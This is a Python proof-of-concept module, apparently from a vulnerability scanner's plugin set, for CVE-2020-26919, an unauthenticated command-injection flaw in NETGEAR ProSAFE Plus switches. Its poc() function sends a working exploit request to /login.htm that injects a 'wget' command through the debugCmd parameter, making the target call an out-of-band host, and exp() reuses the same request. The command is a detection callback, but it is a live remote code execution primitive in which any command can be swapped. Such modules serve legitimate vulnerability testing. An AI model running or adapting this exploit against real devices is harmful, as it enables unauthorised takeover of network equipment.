CVE-2020-26919.py

import requests
from plugins.oob import verify_request, gen_oob_domain



# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''NETGEAR ProSAFE Plus - Unauthenticated Remote Code Execution''',
        "description": '''NETGEAR ProSAFE Plus was found to allow any HTML page as a valid endpoint to submit POST requests, allowing debug action via the submitId and debugCmd parameters. The problem is publicly exposed in the login.html webpage, which has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow attackers to execute system commands.''',
        "severity": "critical",
        "references": [
            "https://research.nccgroup.com/2021/03/08/technical-advisory-multiple-vulnerabilities-in-netgear-prosafe-plus-jgs516pe-gs116ev2-switches/", 
            "https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "cvss-score": "",
            "cve-id": "CVE-2020-26919",
            "cwe-id": ""
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2020", "netgear", "rce", "oast"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)

        oob_domain,flag = gen_oob_domain()

        path = """/login.htm"""
        method = "POST"
        data = """submitId=debug&debugCmd=wget+http://{oob_domain}&submitEnd=""".format(oob_domain=oob_domain)
        headers = {'Accept': '*/*'}
        resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if verify_request(type="dns", flag=flag):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url